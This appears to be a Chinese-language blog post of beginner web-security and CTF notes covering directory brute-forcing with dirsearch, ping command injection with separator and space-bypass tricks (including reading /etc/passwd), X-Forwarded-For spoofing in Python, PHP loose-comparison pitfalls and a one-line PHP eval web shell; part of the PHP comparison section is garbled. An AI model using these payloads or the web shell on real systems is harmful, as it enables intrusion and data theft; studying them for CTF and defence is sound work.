虽然我不是纯做安全的,但作为一个写代码的,总归好奇那些“黑客”是怎么做到在网上攻城掠地的,于是我选择了web安全作为切入点了解了解:

1 工具

1.1 maxhackbar

一个firefox插件
构造各种请求,抓包之类的,这个是必备工具啦
hackbar要收费了,现在就用这个

1.2 dirsearch 暴力遍历网站文件目录

下载与使用方式(前提是装Python3):

git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
python3 dirsearch.py -u <URL> -e <EXTENSION>

典型用法:

python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt --recursive -R 4 --scan-subdirs=/,/wp-content/,/wp-admin/

1.3 burpsuit 密码爆破

1.4 X-Forwarded-For Header

这是一个火狐浏览器插件,可以用来伪造http请求头中的xff字段

2 套路

2.1 注入

2.1.1 ping 注入

如果对方用了ping命令又没有装防火墙(waf, 即过滤危险字符的)
原理是:
ping ip=127.0.0.1;ls
所以输入

127.0.0.1;ls

127.0.0.1 && find / -name "flag.*"

关键是利用了截断字符,这些字符都可以试试:

'$', ';', '|', '-', '(', ')', '反引号', '||', '&&', '&', '}', '{'
可以当空格用的字符: '%02a'

bash:
空格可以替换为%20、%09(tab)、%2b(+) in url、{IFS}
Win shell:
空格可以替换为%20、%09(tab)、%0b、%0c、%2b(+) in url
如:;{cat,/etc/passwd}’

几个命令: ls ,cat< ,cat

由于此题是前端ip格式显示,burp抓包后该数据为127.0.0.1|ls可以查看key文件名称。

然后127.0.0.1|cat<key_1257293387526.php可以查看内容。
此处由于空格被过滤,所以用<替代

2.2 伪造

2.2.1 伪造ip

代理隐藏了真实的客户端,反向代理会影响真实的服务端
在一些大型网站中,来自用户的HTTP请求会经过反向代理服务器的转发,此时,服务器收到的Remote Address地址就是反向代理服务器的地址。在这样的情况下,用户的真实IP地址将被丢失,因此有了HTTP扩展头部X-Forward-For。当反向代理服务器转发用户的HTTP请求时,需要将用户的真实IP地址写入到X-Forward-For中,以便后端服务能够使用。由于X-Forward-For是可修改的,所以X-Forward-For中的地址在某种程度上不可信。所以,在进行与安全有关的操作时,只能通过Remote Address获取用户的IP地址,不能相信任何请求头。

伪造方式有很多,可以是自己构造HTTP请求头也可以是各种浏览器插件,burpsuit等抓包工具

典型Python代码:

import requests
headers = {
    'Host': url,
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Cookie': cookie,
    'Upgrade-Insecure-Requests': '1',
    'X-Forwarded-For': fake_ip,
    'Referer': fake_from
}
res = requests.get(url, headers=headers)
res.encoding = 'utf-8'
print(res.text)

3 代码审计

也就是关于编程语言运用不当或考虑不周会遇到的坑:

3.1 php的坑

3.1.1 字符串与数字比较

用’==‘或’>’, '<'在进行比较的时候,会先将字符串类型转化成相同的东西再比较。
开始为数字的字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0
举例:

$a=@$_GET['a']; 

url后输入’?a=1234’, 则 a 为 1234 u r l 后 输 入 ′ ? a = 0 a ′ , 则 a为1234 url后输入'?a=0a', 则 a1234url?a=0a,a为0
url后输入’?a=aasd’, 则 a 为 0 u r l 后 输 入 ′ ? a = 1234 a ′ , 则 a为0 url后输入'?a=1234a', 则 a0url?a=1234a,a为1234

4 文件上传漏洞

4.1 一句话木马

比如页面里有这么一句话:

<?php @eval($_POST[pp]);?>

eval函数会将字符串当做代码执行…
所以构造这样的POST请求:

pp=system('xxxxxxx');

就能执行外部命令了(system()函数是php执行外部命令的函数)

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐